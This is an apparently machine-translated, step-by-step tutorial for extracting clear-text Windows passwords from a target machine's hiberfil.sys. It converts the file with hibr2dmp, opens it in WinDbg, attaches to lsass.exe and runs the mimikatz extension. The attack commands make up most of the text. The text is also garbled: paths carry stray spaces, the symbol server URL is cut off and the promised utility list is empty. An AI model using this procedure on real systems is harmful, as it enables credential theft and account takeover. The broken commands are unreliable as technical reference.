Recovering local and domain passwords from hiberfil.sys

The mimikatz utility , which allows you to extract Windows credentials from LSA in open form, has existed since 2012, but in addition to the well-lit functionality for recovering passwords from the memory of a running OS, it has another rather interesting feature. Next, I will provide step-by-step instructions on how to extract credentials from the hiberfil.sys file using simple steps.


To implement our plan, we will need the following utilities:


1. Get the hiberfil.sys file from the target machine.

2. Convert the file to a format that WinDbg understands.

hibr2dmp.exe d: \ temp \ hiberfil.sys c: \ temp \ hiberfil.dmp

The process can take quite a while


3. Run WinDbg and open the resulting file.

File -> Open Crash Dump

4. Configure debugging symbols.

Open File -> Symbol File Path ... and enter the following line:

SRV * c: \ symbols * http: //


Instead of c: \ symbols, of course, there can be any directory in which to load characters

At the command line of the debugger we write:

0: kd> .reload / n

We are waiting for the end of the loading of characters:


5. Specify the path to the mimilib.dll library (located in the directory with mimikatz).

0: kd> .load z: \ Soft \ Security \ Passwords \ Mimikatz \ x64 \ mimilib.dll


6. Find the address of the lsass.exe process.

0: kd> ! Process 0 0 lsass.exe


In this case, the address is: fffffa800a7d9060.

7. Switch the context of the process.

0: kd> .process / r / p fffffa800a7d9060


8. Run mimikatz and get the passwords in clear text.

0: kd> ! Mimikatz


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